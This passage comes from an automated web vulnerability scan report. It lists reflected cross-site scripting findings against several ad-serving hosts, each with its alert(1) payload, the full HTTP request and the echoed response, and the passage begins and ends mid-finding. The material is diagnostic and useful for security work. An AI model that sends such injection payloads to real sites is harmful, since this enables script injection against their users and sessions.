HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:17:55 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:55 GMT Content-Length: 641 Connection: close
The value of the section request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f92b8"><script>alert(1)</script>05d28b2545d was submitted in the section parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /st?ad_type=iframe&ad_size=160x600§ion=429613f92b8"><script>alert(1)</script>05d28b2545d HTTP/1.1 Host: ad.harrenmedianetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:17:55 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:55 GMT Content-Length: 711 Connection: close
4.31. http://ad.reduxmedia.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.reduxmedia.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6cc2b"-alert(1)-"605cd6b88a5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=120x600§ion=681714&6cc2b"-alert(1)-"605cd6b88a5=1 HTTP/1.1 Host: ad.reduxmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:18:16 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Cache-Control: no-store Last-Modified: Wed, 02 Feb 2011 19:18:16 GMT Pragma: no-cache Content-Length: 4638 Age: 0 Connection: close
<html><head></head><body><script type="text/javascript">/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "iframe"; rm_url = "http://ad.reduxmedia.com/imp?6cc2b"-alert(1)-"605cd6b88a5=1&Z=120x600&s=681714&_salt=272437912";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_crex_data){rm_crex_data=new Array();}if(rm_passback==0){rm_pb_data=new Arr ...[SNIP]...
The value of the Z request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9973'-alert(1)-'b683290dc0 was submitted in the Z parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /imp?Z=300x250b9973'-alert(1)-'b683290dc0&s=601669&_salt=1358407199&B=10&u=http%3A%2F%2Fad.scanmedios.com%2F&r=0 HTTP/1.1 Host: ad.scanmedios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:18:01 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/javascript Date: Wed, 02 Feb 2011 19:18:01 GMT Content-Length: 402 Connection: close
The value of the s request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload abe80'-alert(1)-'f0f512ee374 was submitted in the s parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /imp?Z=300x250&s=601669abe80'-alert(1)-'f0f512ee374&_salt=1358407199&B=10&u=http%3A%2F%2Fad.scanmedios.com%2F&r=0 HTTP/1.1 Host: ad.scanmedios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:18:01 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/javascript Date: Wed, 02 Feb 2011 19:18:01 GMT Content-Length: 404 Connection: close
The value of the ad_size request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a927c"><script>alert(1)</script>8783e6815d8 was submitted in the ad_size parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /st?ad_type=iframe&ad_size=300x250a927c"><script>alert(1)</script>8783e6815d8§ion=601669 HTTP/1.1 Host: ad.scanmedios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:18:01 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:18:01 GMT Content-Length: 711 Connection: close
The value of the ad_size request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dce2d'-alert(1)-'7ba8e3efc79 was submitted in the ad_size parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=300x250dce2d'-alert(1)-'7ba8e3efc79§ion=601669 HTTP/1.1 Host: ad.scanmedios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:18:01 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:18:01 GMT Content-Length: 641 Connection: close
The value of the section request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f734e'-alert(1)-'2b959f792a9 was submitted in the section parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=300x250§ion=601669f734e'-alert(1)-'2b959f792a9 HTTP/1.1 Host: ad.scanmedios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:18:01 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:18:01 GMT Content-Length: 641 Connection: close
The value of the section request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9583"><script>alert(1)</script>2bc6827f86d was submitted in the section parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /st?ad_type=iframe&ad_size=300x250§ion=601669a9583"><script>alert(1)</script>2bc6827f86d HTTP/1.1 Host: ad.scanmedios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:18:01 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:18:01 GMT Content-Length: 711 Connection: close
The value of the &PID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 219c9'-alert(1)-'d6a336d9756 was submitted in the &PID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640219c9'-alert(1)-'d6a336d9756&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:52:49 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:52:49 GMT; path=/ Set-Cookie: i_1=33:353:23:3:0:34426:1296683569:B2|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:52:49 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 848
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640219c9'-alert(1)-'d6a336d9756&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad'; var iRM = new Image(); iRM.src = 'http://redcated/action/Scottrade_Remessaging'; return true; } fu ...[SNIP]...
The value of the 10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ad93'-alert(1)-'3d320c11be8 was submitted in the 10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!4ad93'-alert(1)-'3d320c11be8&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:52:40 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:52:40 GMT; path=/ Set-Cookie: i_1=33:353:198:3:0:34426:1296683560:B2|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:52:40 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 852
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!4ad93'-alert(1)-'3d320c11be8&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad'; var iRM = new Image(); iRM.src = 'http://redcated/action/Scottrade_Remessaging'; return ...[SNIP]...
The value of the AN request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 58c87'-alert(1)-'b77056dfb54 was submitted in the AN parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=67123915558c87'-alert(1)-'b77056dfb54&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:53:17 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:53:17 GMT; path=/ Set-Cookie: i_1=33:353:516:3:0:34426:1296683597:B2|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:53:17 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 846
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=67123915558c87'-alert(1)-'b77056dfb54&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad'; var iRM = new Image(); iRM.src = 'http://redcated/action/Scottrade_Remessaging'; return true; } function wsod_image() { document.writ ...[SNIP]...
The value of the ASID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41b1e'-alert(1)-'97331fa72cc was submitted in the ASID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad41b1e'-alert(1)-'97331fa72cc HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:53:35 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:53:35 GMT; path=/ Set-Cookie: i_1=33:353:22:3:0:34426:1296683615:B2|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:53:35 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 857
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad41b1e'-alert(1)-'97331fa72cc'; var iRM = new Image(); iRM.src = 'http://redcated/action/Scottrade_Remessaging'; return true; } function wsod_image() { document.write('<a href="//ad.wsod.com/click/8bec9b10877d5d7f ...[SNIP]...
The value of the PG request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ec678'-alert(1)-'8c695f1ae57 was submitted in the PG parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQec678'-alert(1)-'8c695f1ae57&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:53:26 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:53:26 GMT; path=/ Set-Cookie: i_1=33:353:516:3:0:34426:1296683606:B2|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:53:26 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 846
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQec678'-alert(1)-'8c695f1ae57&ASID=644f272384fc4ea392c9e50a46bc0aad'; var iRM = new Image(); iRM.src = 'http://redcated/action/Scottrade_Remessaging'; return true; } function wsod_image() { document.write('<a href ...[SNIP]...
The value of the TargetID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f9848'-alert(1)-'5b0c6c829a2 was submitted in the TargetID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488f9848'-alert(1)-'5b0c6c829a2&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:53:08 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:53:08 GMT; path=/ Set-Cookie: i_1=33:353:516:3:0:34426:1296683588:B2|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:53:08 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 846
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488f9848'-alert(1)-'5b0c6c829a2&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad'; var iRM = new Image(); iRM.src = 'http://redcated/action/Scottrade_Remessaging'; return true; } function wsod_image() {
The value of the UIT request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 304f9'-alert(1)-'df9bcca7015 was submitted in the UIT parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G304f9'-alert(1)-'df9bcca7015&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:52:59 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:52:59 GMT; path=/ Set-Cookie: i_1=33:353:22:3:0:34426:1296683579:B2|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:52:59 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 857
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G304f9'-alert(1)-'df9bcca7015&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad'; var iRM = new Image(); iRM.src = 'http://redcated/action/Scottrade_Remessaging'; return true; } function ...[SNIP]...
4.45. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335** [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f68cc'-alert(1)-'ca9f21a572f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
